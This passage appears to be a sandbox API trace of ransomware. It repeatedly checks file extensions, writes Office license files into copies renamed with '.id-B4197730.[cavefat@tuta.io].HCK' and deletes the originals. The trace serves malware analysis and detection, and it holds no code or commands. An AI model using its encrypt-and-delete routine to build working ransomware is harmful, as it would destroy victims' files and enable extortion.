-1 [0238.921] lstrlenW (lpString=".bz2") returned 4 [0238.921] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.921] lstrlenW (lpString=".7z") returned 3 [0238.921] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0238.921] lstrlenW (lpString=".dbf") returned 4 [0238.921] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0238.921] lstrlenW (lpString=".1cd") returned 4 [0238.921] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0238.921] lstrlenW (lpString=".jpg") returned 4 [0238.921] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.921] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.922] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 42 [0238.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.922] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=21737) returned 1 [0238.922] CloseHandle (hObject=0x55c) returned 1 [0238.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0238.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0238.923] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.923] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0238.924] GetLastError () returned 0x0 [0238.924] ReadFile (in: hFile=0x55c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x54e9, lpOverlapped=0x0) returned 1 [0238.926] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x54f0, lpOverlapped=0x0) returned 1 [0238.927] ReadFile (in: hFile=0x55c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0238.927] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x128, lpOverlapped=0x0) returned 1 [0238.927] SetEndOfFile (hFile=0x544) returned 1 [0238.927] CloseHandle (hObject=0x544) returned 1 [0238.927] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0238.927] SetEndOfFile (hFile=0x55c) returned 1 [0238.930] CloseHandle (hObject=0x55c) returned 1 [0238.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0238.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0238.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0238.932] lstrlenW (lpString=".doc") returned 4 [0238.932] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.932] lstrlenW (lpString=".docx") returned 5 [0238.932] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.932] lstrlenW (lpString=".pdf") returned 4 [0238.932] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.932] lstrlenW (lpString=".xls") returned 4 [0238.932] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.932] lstrlenW (lpString=".xlsx") returned 5 [0238.932] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.932] lstrlenW (lpString=".ppt") returned 4 [0238.932] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0238.932] lstrlenW (lpString=".zip") returned 4 [0239.154] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.154] lstrlenW (lpString=".rar") returned 4 [0239.154] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.154] lstrlenW (lpString=".bz2") returned 4 [0239.154] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.154] lstrlenW (lpString=".7z") returned 3 [0239.154] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0239.154] lstrlenW (lpString=".dbf") returned 4 [0239.154] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0239.154] lstrlenW (lpString=".1cd") returned 4 [0239.154] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0239.154] lstrlenW (lpString=".jpg") returned 4 [0239.154] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0239.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0239.154] lstrlenW (lpString=".doc") returned 4 [0239.154] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.154] lstrlenW (lpString=".docx") returned 5 [0239.154] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.154] lstrlenW (lpString=".pdf") returned 4 [0239.154] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.154] lstrlenW (lpString=".xls") returned 4 [0239.154] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.155] lstrlenW (lpString=".xlsx") returned 5 [0239.155] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.155] lstrlenW (lpString=".ppt") returned 4 [0239.155] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0239.155] lstrlenW (lpString=".zip") returned 4 [0239.155] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.155] lstrlenW (lpString=".rar") returned 4 [0239.155] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.155] lstrlenW (lpString=".bz2") returned 4 [0239.155] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.155] lstrlenW (lpString=".7z") returned 3 [0239.155] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0239.155] lstrlenW (lpString=".dbf") returned 4 [0239.155] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0239.155] lstrlenW (lpString=".1cd") returned 4 [0239.155] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0239.155] lstrlenW (lpString=".jpg") returned 4 [0239.155] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.155] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0239.155] lstrlenW (lpString="HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 32 [0239.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0239.872] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=21606) returned 1 [0239.876] CloseHandle (hObject=0x554) returned 1 [0239.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 0x220 [0240.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0240.637] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.637] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0240.638] GetLastError () returned 0x0 [0240.638] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x5466, lpOverlapped=0x0) returned 1 [0240.640] WriteFile (in: hFile=0x4bc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x5470, lpOverlapped=0x0) returned 1 [0240.641] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0240.641] WriteFile (in: hFile=0x4bc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x114, lpOverlapped=0x0) returned 1 [0240.642] SetEndOfFile (hFile=0x4bc) returned 1 [0240.642] CloseHandle (hObject=0x4bc) returned 1 [0240.642] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.642] SetEndOfFile (hFile=0x4b8) returned 1 [0240.645] CloseHandle (hObject=0x4b8) returned 1 [0240.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 1 [0240.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0240.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0240.646] lstrlenW (lpString=".doc") returned 4 [0240.646] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.646] lstrlenW (lpString=".docx") returned 5 [0240.646] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.646] lstrlenW (lpString=".pdf") returned 4 [0240.646] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.646] lstrlenW (lpString=".xls") returned 4 [0240.646] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.647] lstrlenW (lpString=".xlsx") returned 5 [0240.647] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.647] lstrlenW (lpString=".ppt") returned 4 [0240.647] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0240.647] lstrlenW (lpString=".zip") returned 4 [0240.647] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.647] lstrlenW (lpString=".rar") returned 4 [0240.647] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.647] lstrlenW (lpString=".bz2") returned 4 [0240.647] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.647] lstrlenW (lpString=".7z") returned 3 [0240.647] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0240.647] lstrlenW (lpString=".dbf") returned 4 [0240.647] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0240.647] lstrlenW (lpString=".1cd") returned 4 [0240.647] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0240.647] lstrlenW (lpString=".jpg") returned 4 [0240.647] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0240.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0240.647] lstrlenW (lpString=".doc") returned 4 [0240.647] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.647] lstrlenW (lpString=".docx") returned 5 [0240.647] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.647] lstrlenW (lpString=".pdf") returned 4 [0240.647] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.647] lstrlenW (lpString=".xls") returned 4 [0240.647] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.647] lstrlenW (lpString=".xlsx") returned 5 [0240.647] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.647] lstrlenW (lpString=".ppt") returned 4 [0240.647] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0240.647] lstrlenW (lpString=".zip") returned 4 [0240.648] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.648] lstrlenW (lpString=".rar") returned 4 [0240.648] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.648] lstrlenW (lpString=".bz2") returned 4 [0240.648] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.648] lstrlenW (lpString=".7z") returned 3 [0240.648] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0240.648] lstrlenW (lpString=".dbf") returned 4 [0240.648] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0240.648] lstrlenW (lpString=".1cd") returned 4 [0240.648] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0240.648] lstrlenW (lpString=".jpg") returned 4 [0240.648] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.648] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0240.648] lstrlenW (lpString="HomeStudentR_Trial2-ppd.xrm-ms") returned 30 [0240.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0240.649] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=21728) returned 1 [0240.649] CloseHandle (hObject=0x4b8) returned 1 [0240.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 0x220 [0240.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0240.650] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.650] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0240.651] GetLastError () returned 0x0 [0240.651] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x54e0, lpOverlapped=0x0) returned 1 [0240.653] WriteFile (in: hFile=0x4bc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x54f0, lpOverlapped=0x0) returned 1 [0240.654] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0240.654] WriteFile (in: hFile=0x4bc, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x110, lpOverlapped=0x0) returned 1 [0240.654] SetEndOfFile (hFile=0x4bc) returned 1 [0240.655] CloseHandle (hObject=0x4bc) returned 1 [0240.655] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.655] SetEndOfFile (hFile=0x4b8) returned 1 [0240.658] CloseHandle (hObject=0x4b8) returned 1 [0240.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 1 [0240.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0240.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0240.659] lstrlenW (lpString=".doc") returned 4 [0240.659] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.659] lstrlenW (lpString=".docx") returned 5 [0240.659] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0240.659] lstrlenW (lpString=".pdf") returned 4 [0240.659] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0240.659] lstrlenW (lpString=".xls") returned 4 [0240.659] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0240.659] lstrlenW (lpString=".xlsx") returned 5 [0240.659] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0240.659] lstrlenW (lpString=".ppt") returned 4 [0240.659] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0240.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0240.660] lstrlenW (lpString=".zip") returned 4 [0240.660] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0240.660] lstrlenW (lpString=".rar") returned 4 [0240.660] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0240.660] lstrlenW (lpString=".bz2") returned 4 [0240.660] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0240.660] lstrlenW (lpString=".7z") returned 3 [0240.660] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0240.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0240.660] lstrlenW (lpString=".dbf") returned 4 [0240.660] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0240.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0240.660] lstrlenW (lpString=".1cd") returned 4 [0240.660] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0240.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0240.660] lstrlenW (lpString=".jpg") returned 4 [0240.660] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0240.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0240.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0240.660] lstrlenW (lpString=".doc") returned 4 [0240.660] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0240.660] 